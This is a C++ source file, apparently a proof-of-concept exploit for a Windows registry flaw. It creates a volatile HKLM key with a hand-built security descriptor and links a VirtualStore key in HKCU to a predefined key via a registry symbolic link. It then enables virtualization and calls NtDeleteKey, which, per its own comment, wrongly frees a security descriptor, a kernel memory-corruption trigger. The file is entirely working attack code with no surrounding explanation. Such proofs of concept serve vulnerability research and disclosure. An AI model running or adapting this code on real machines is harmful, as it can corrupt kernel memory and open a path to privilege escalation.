#include <Windows.h>
#include <sddl.h>
#include <winternl.h>

#include <cstdio>

#pragma comment(lib, "ntdll")

extern "C" {

NTSTATUS NTAPI NtDeleteKey(
  HANDLE KeyHandle
);

}  // extern "C"

CONST BYTE SDWorldReadableAdminWritable[] = {
  /* +0x00 */ 0x01,                               // _SECURITY_DESCRIPTOR_RELATIVE.Revision
  /* +0x01 */ 0x00,                               // _SECURITY_DESCRIPTOR_RELATIVE.Sbz1
  /* +0x02 */ 0x04, 0x80,                         // _SECURITY_DESCRIPTOR_RELATIVE.Control (SE_SELF_RELATIVE | SE_DACL_PRESENT)
  /* +0x04 */ 0x00, 0x00, 0x00, 0x00,             // _SECURITY_DESCRIPTOR_RELATIVE.Owner
  /* +0x08 */ 0x00, 0x00, 0x00, 0x00,             // _SECURITY_DESCRIPTOR_RELATIVE.Group
  /* +0x0c */ 0x00, 0x00, 0x00, 0x00,             // _SECURITY_DESCRIPTOR_RELATIVE.Sacl
  /* +0x10 */ 0x14, 0x00, 0x00, 0x00,             // _SECURITY_DESCRIPTOR_RELATIVE.Dacl
  // 
  // Dacl: ACCESS_ALLOWED_ACE, KEY_ALL_ACCESS,             S-1-5-32-544 (Administrators)
  //       ACCESS_ALLOWED_ACE, KEY_ALL_ACCESS & (~DELETE), S-1-1-0 (World)
  // 
  /* +0x14 */ 0x02,                               // _ACL.AclRevision
  /* +0x15 */ 0x00,                               // _ACL.Sbz1
  /* +0x16 */ 0x34, 0x00,                         // _ACL.AclSize
  /* +0x18 */ 0x02, 0x00,                         // _ACL.AceCount
  /* +0x1a */ 0x00, 0x00,                         // _ACL.Sbz2
  /* +0x1c */ 0x00,                               // _ACCESS_ALLOWED_ACE._ACE_HEADER.AceType (ACCESS_ALLOWED_ACE_TYPE)
  /* +0x1d */ 0x00,                               // _ACCESS_ALLOWED_ACE._ACE_HEADER.AceFlags
  /* +0x1e */ 0x18, 0x00,                         // _ACCESS_ALLOWED_ACE._ACE_HEADER.AceSize
  /* +0x20 */ 0x3F, 0x00, 0x0F, 0x00,             // _ACCESS_ALLOWED_ACE.Mask
  /* +0x24 */ 0x01,                               // _SID.Revision
  /* +0x25 */ 0x02,                               // _SID.SubAuthorityCount
  /* +0x26 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, // _SID.IdentifierAuthority.Value[0..5]
  /* +0x2c */ 0x20, 0x00, 0x00, 0x00,             // _SID.SubAuthority[0]
  /* +0x30 */ 0x20, 0x02, 0x00, 0x00,             // _SID.SubAuthority[1]
  /* +0x34 */ 0x00,                               // _ACCESS_ALLOWED_ACE._ACE_HEADER.AceType (ACCESS_ALLOWED_ACE_TYPE)
  /* +0x35 */ 0x00,                               // _ACCESS_ALLOWED_ACE._ACE_HEADER.AceFlags
  /* +0x36 */ 0x14, 0x00,                         // _ACCESS_ALLOWED_ACE._ACE_HEADER.AceSize
  /* +0x38 */ 0x3F, 0x00, 0x0E, 0x00,             // _ACCESS_ALLOWED_ACE.Mask
  /* +0x3c */ 0x01,                               // _SID.Revision
  /* +0x3d */ 0x01,                               // _SID.SubAuthorityCount
  /* +0x3e */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, // _SID.IdentifierAuthority.Value[0..5]
  /* +0x44 */ 0x00, 0x00, 0x00, 0x00,             // _SID.SubAuthority[0]
};

typedef struct _KEY_SET_VIRTUALIZATION_INFORMATION {
  ULONG   VirtualTarget : 1; // Tells if the key is a virtual target key.
  ULONG   VirtualStore : 1;  // Tells if the key is a virtual store key.
  ULONG   VirtualSource : 1; // Tells if the key has been virtualized at least one (virtual hint)
  ULONG   Reserved : 29;
} KEY_SET_VIRTUALIZATION_INFORMATION, * PKEY_SET_VIRTUALIZATION_INFORMATION;

BOOL EnableKeyVirtualization(HKEY hkey,
                             BOOL VirtualTarget,
                             BOOL VirtualStore,
                             BOOL VirtualSource) {

  KEY_SET_VIRTUALIZATION_INFORMATION VirtInfo;
  VirtInfo.VirtualTarget = VirtualTarget;
  VirtInfo.VirtualStore = VirtualStore;
  VirtInfo.VirtualSource = VirtualSource;
  VirtInfo.Reserved = 0;

  NTSTATUS Status = NtSetInformationKey(hkey,
                                        KeySetVirtualizationInformation,
                                        &VirtInfo,
                                        sizeof(VirtInfo));

  return NT_SUCCESS(Status);
}

BOOL EnableTokenVirtualization(HANDLE hToken, BOOL bEnabled) {
  DWORD dwVirtualizationEnabled = bEnabled;
  if (!SetTokenInformation(hToken,
                           TokenVirtualizationEnabled,
                           &dwVirtualizationEnabled,
                           sizeof(dwVirtualizationEnabled))) {
    printf("SetTokenInformation failed with error %u\n", GetLastError());
    return FALSE;
  }

  return TRUE;
}

int main(int argc, char** argv) {
  //
  // Verify that a predefined key exists under HKCU.
  //

  HKEY hkey;
  LONG st = RegOpenKeyExW(HKEY_CURRENT_USER, L"PredefinedKey", 0, KEY_READ, &hkey);
  if (st != ERROR_SUCCESS || (ULONG_PTR)hkey < 0x80000000) {
    printf("HKCU\\PredefinedKey doesn't exist, or isn't a predefined key\n");
    return 1;
  }

  //
  // Open the HKLM\Software\Microsoft\DRM\TestKey key that will get virtualized.
  //

  SECURITY_ATTRIBUTES sa;
  sa.nLength = sizeof(SECURITY_ATTRIBUTES);
  sa.lpSecurityDescriptor = (PSECURITY_DESCRIPTOR)SDWorldReadableAdminWritable;
  sa.bInheritHandle = FALSE;

  HKEY hrealkey;
  st = RegCreateKeyExW(HKEY_LOCAL_MACHINE,
                       L"Software\\Microsoft\\DRM\\TestKey",
                       0,
                       NULL,
                       REG_OPTION_VOLATILE,
                       KEY_ALL_ACCESS & (~DELETE),
                       NULL,
                       &hrealkey,
                       NULL);

  if (st != ERROR_SUCCESS) {
    printf("RegCreateKeyExW failed with error %d\n", st);
    return 1;
  }

  //
  // Open the HKCU\Software\Classes\VirtualStore\Machine\Software\Microsoft\DRM key.
  //

  HKEY hvirtstore;
  st = RegCreateKeyExW(HKEY_CURRENT_USER,
                       L"Software\\Classes\\VirtualStore\\Machine\\Software\\Microsoft\\DRM",
                       0,
                       NULL,
                       REG_OPTION_VOLATILE,
                       KEY_ALL_ACCESS,
                       NULL,
                       &hvirtstore,
                       NULL);

  if (st != ERROR_SUCCESS && st != ERROR_ALREADY_EXISTS) {
    printf("Failed to open the VirtualStore key with error %d\n", st);
    return 1;
  }

  //
  // Create a symbolic link at HKCU\Software\Classes\VirtualStore\Machine\Software\Microsoft\DRM\TestKey,
  // pointing at HKCU\PredefinedKey.
  //

  HANDLE hToken;
  if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken)) {
    printf("OpenProcessToken failed with error %u\n", GetLastError());
    return 1;
  }

  DWORD UserInfoLength;
  if (GetTokenInformation(hToken, TokenUser, NULL, 0, &UserInfoLength) ||
      GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
    printf("GetTokenInformation failed with error %u\n", GetLastError());
    return 1;
  }

  TOKEN_USER* UserInfo = (TOKEN_USER*)malloc(UserInfoLength);

  if (!GetTokenInformation(hToken, TokenUser, UserInfo, UserInfoLength, &UserInfoLength)) {
    printf("GetTokenInformation failed with error %u\n", GetLastError());
    return 1;
  }

  LPWSTR StringSid;
  if (!ConvertSidToStringSidW(UserInfo->User.Sid, &StringSid)) {
    printf("ConvertSidToStringSidA failed with error %u\n", GetLastError());
    return 1;
  }

  HKEY hvirtkey;
  st = RegCreateKeyExW(hvirtstore,
                       L"TestKey",
                       0,
                       NULL,
                       REG_OPTION_VOLATILE | REG_OPTION_CREATE_LINK,
                       KEY_ALL_ACCESS,
                       NULL,
                       &hvirtkey,
                       NULL);

  if (st == ERROR_ALREADY_EXISTS) {
    st = RegOpenKeyExW(hvirtstore, L"TestKey", REG_OPTION_OPEN_LINK, KEY_ALL_ACCESS, &hvirtkey);
  }

  if (st != ERROR_SUCCESS) {
    printf("RegCreateKeyExW/RegOpenKeyExW failed with error %d\n", st);
    return 1;
  }

  WCHAR wchLinkTarget[100];
  _snwprintf_s(wchLinkTarget, sizeof(wchLinkTarget) / sizeof(WCHAR),
               L"\\Registry\\User\\%s\\PredefinedKey", StringSid);

  st = RegSetKeyValueW(hvirtkey, NULL, L"SymbolicLinkValue", REG_LINK,
                       wchLinkTarget, wcslen(wchLinkTarget) * sizeof(WCHAR));

  if (st != ERROR_SUCCESS) {
    printf("RegSetKeyValueW failed with error %d\n", st);
    return 1;
  }

  //
  // Enable virtualization for our process and the real/virtual keys.
  //

  EnableTokenVirtualization(hToken, TRUE);
  
  if (!EnableKeyVirtualization(hrealkey,
                               /*VirtualTarget=*/FALSE,
                               /*VirtualStore=*/ FALSE,
                               /*VirtualSource=*/TRUE) ||
      !EnableKeyVirtualization(hvirtkey,
                               /*VirtualTarget=*/TRUE,
                               /*VirtualStore=*/ FALSE,
                               /*VirtualSource=*/FALSE)) {
    printf("Failed to enable key virtualization\n");
    return 1;
  }

  //
  // Attempt to delete HKLM\Software\Microsoft\DRM\TestKey, which should end up
  // deleting HKCU\PredefinedKey and wrongly freeing its security descriptor.
  //

  NTSTATUS ntstatus = NtDeleteKey(hrealkey);
  if (!NT_SUCCESS(ntstatus)) {
    printf("NtDeleteKey failed with error %.8x\n", ntstatus);
    return 1;
  }

  return 0;
}